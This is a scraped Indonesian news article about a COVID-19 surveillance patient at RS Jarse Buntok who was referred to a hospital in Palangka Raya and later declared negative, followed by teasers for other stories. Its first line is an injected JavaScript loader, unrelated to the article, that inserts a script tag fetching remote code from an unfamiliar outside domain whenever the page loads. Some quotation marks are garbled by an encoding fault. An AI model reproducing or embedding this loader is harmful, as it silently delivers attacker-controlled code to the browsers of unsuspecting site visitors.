(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BUNTOK – Satu orang Pasien Dalam Pengawasan (PDP) Rumah Sakit Jaraga Sasameh (RS Jarse) Buntok, Senin (16/3/2020) malam, sekitar pukul 23:30 WIB dirujuk ke RS Doris Silvanus Palangka Raya.
Direktur RS Jarse Buntok melalui Kepala Unit Humas Noorhalidah SKM MM mengatakan, Senin (16/3/2020) sekitar jam 6 sore seorang pasien umur (39) datang sendiri langsung ke Instalasi Gawat Darurat (IGD) RS Buntok dengan membawa keluhan batuk, pilek dan suhu badan 38’C.
“Jadi sore kemarin kita telah menerima pasien dengan beberapa keluhan datang langsung ke IGD untuk mendapatkan perawatan,†katanya kepada Kanalkalimantan.com, di RS Jarse Buntok, Selasa (17/3/2020).
Masih kata Halida, setelah dilakukan pemeriksaan laboratorium, foto rontgen dan dari rekomendasi DPJP (dokter penanggung jawab pasien) dokter spesialis penyakit dalam RSUD Jarse, pasien dimasukkan dalam kategori PDP (Pasien Dalam Pengawasan).
Untuk mengambil keputusan pasien masuk kategori PDP, pihak RS Jarse Buntok sudah melakukan perawatan sesuai SOP dan berkoordinasi dengan Dinkes Barsel dan Dinkes Propinsi Kalteng.
“Setelah mendapatkan perawatan sesuai SOP, kemudiasn berkoordinasi dengan Dinkes Barsel juga propinsi melewati tim surveilans Dinkes Barsel, pasien kita masukkan dalam kategori PDP,†ungkap Halida. Kemudian sekitar pukul 23:30 WIB Senin (16/3/2020) pasien dirujuk ke RS Doris Silvanus Palangka Raya.
Ia mengungkapkan, pihak Humas RS Jarse Buntok selalu koordinasi dengan pendamping pasien, info terakhir dari pendamping pasien bahwa berdasarkan hasil pemeriksaan, PDP rujukan dari RS Jarse Buntok sudah boleh keluar RS dan dianjurkan untuk istirahat di rumah dan dinyatakan negatif dari Covid-19.
“Jadi kita terus melakukan pemantauan terhadap pasien rujukan kita, info terakhir sore ini yang kita dapat dari pendamping pasien, pasien boleh pulang dan istirahat di rumah dan dinyatakan negatif dari Covid-19,†tegas Halida.
Ditambahkan olehnya sekaligus mengimbau kepada seluruh masyarakat Barsel tidak panik secara berlebihan terkait info yang beredar. Jika memang mengetahui ada info terkait hal-hal yang mengacu kepada Covid-19 bisa langsung menghubungi RS Jarse Buntok atau Dinkes Barsel.
“Kita harapkan kepada seluruh masyarakat Barsel untuk jangan mudah panik secara berlebihan terkait info yang belum tentu kebenarannya,†pungkas Noorhalidah. (kanalkalimantan.com/digdo)
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More
This website uses cookies.